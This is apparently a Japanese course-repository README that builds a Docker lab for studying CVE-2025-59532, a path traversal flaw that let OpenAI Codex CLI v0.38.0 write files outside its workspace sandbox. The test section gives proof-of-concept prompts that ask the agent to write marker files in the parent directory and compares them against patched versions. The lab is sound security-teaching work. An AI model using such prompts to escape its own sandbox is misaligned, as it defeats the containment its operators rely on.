
CVE-2025-59532を分析するためのDockerベースの研究環境。OpenAI Codex CLIのパストラバーサル脆弱性で、意図されたワークスペースサンドボックスの外部への任意のファイル書き込みを許可します。CMUコース : 18-739 Hacking & Offensive Security (2025年秋) の一部
CVE-2025-59532を分析するためのDockerベースの研究環境です。これはOpenAI Codex CLIにおけるパストラバーサル脆弱性であり、意図されたワークスペースサンドボックス外への任意のファイル書き込みを可能にします。 CMUのコースの一部:2025年秋学期「18-739 ハッキングとオフェンシブセキュリティ」
まず、このリポジトリをクローンします:
git clone https://github.com/jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
またはSSHを使用する場合:
git clone [email protected]:jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
CVE-2025-59532 は、OpenAIのCodex CLIツールにおけるパストラバーサル脆弱性で、攻撃者が意図されたワークスペースディレクトリ外にファイルを書き込むことを可能にし、サンドボックス制限を回避します。
../exploit.txt)にファイルを書き込むように促すプロンプトを作成し、--sandbox workspace-write が有効な場合でもワークスペースサンドボックスを脱出できます。この脆弱性は、ワークスペースサンドボックス実装における不十分なパス検証を悪用します。workspace-write サンドボックスモードが有効な場合、Codexはファイル操作を指定されたワークスペースディレクトリに制限する必要があります。しかし、v0.38.0では、パス検証が相対パストラバーサルシーケンス(../)を適切に処理できず、攻撃者はAIに親ディレクトリ参照を使用するよう指示することで、サンドボックス外にファイルを書き込むことができます。
docker build -t cve-2025-59532:latest .
docker run -it --rm cve-2025-59532:latest
このDocker環境には、Codex CLIの3つのバージョンが含まれています:
コンテナ内に入ったら、codexをインタラクティブモードで実行し、APIキーを貼り付けるだけでOpenAI APIキーを設定できます:
codex
APIキーは ~/.config/codex/auth.json に保存され、すべてのCodexバージョン(codex38、codex39、codex50)で使用されます。
codex38 --version # v0.38.0(脆弱)と表示されるはず
codex39 --version # v0.39.0(パッチ済み)と表示されるはず
codex50 --version # v0.50.0(最新)と表示されるはず
注記: ワークスペースは /workspace/child にあります。この脆弱性により、/workspace(親ディレクトリ)への書き込みが可能になります。
脆弱なバージョンのテスト(v0.38.0):
codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof1.txt' in the parent directory with content 'CVE-2025-59532 POC'"
パッチ適用済みバージョンのテスト(v0.39.0):
codex39 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof2.txt' in the parent directory with content 'CVE-2025-59532 POC'"
最新バージョンのテスト(v0.50.0):
codex50 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof3.txt' in the parent directory with content 'CVE-2025-59532 POC'"
エクスプロイトの確認:
# ファイルがサンドボックス外(/workspace/child ではなく /workspace)に作成されたか確認
ls -la /workspace/
cat /workspace/exploit_proof1.txt # v0.38.0が脆弱なら存在するはず
cat /workspace/exploit_proof2.txt # v0.39.0がパッチ済みなら存在しないはず
cat /workspace/exploit_proof3.txt # v0.50.0が安全なら存在しないはず
# 現在のワークスペースを確認(空、またはテストファイルのみのはず)
pwd # /workspace/child と表示されるはず
ls -la /workspace/child/
Codex実行の詳細なデバッグログを表示するには:
RUST_LOG=debug codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof.txt' in the parent directory with content 'CVE-2025-59532 POC'"
デバッグログには以下が表示されます: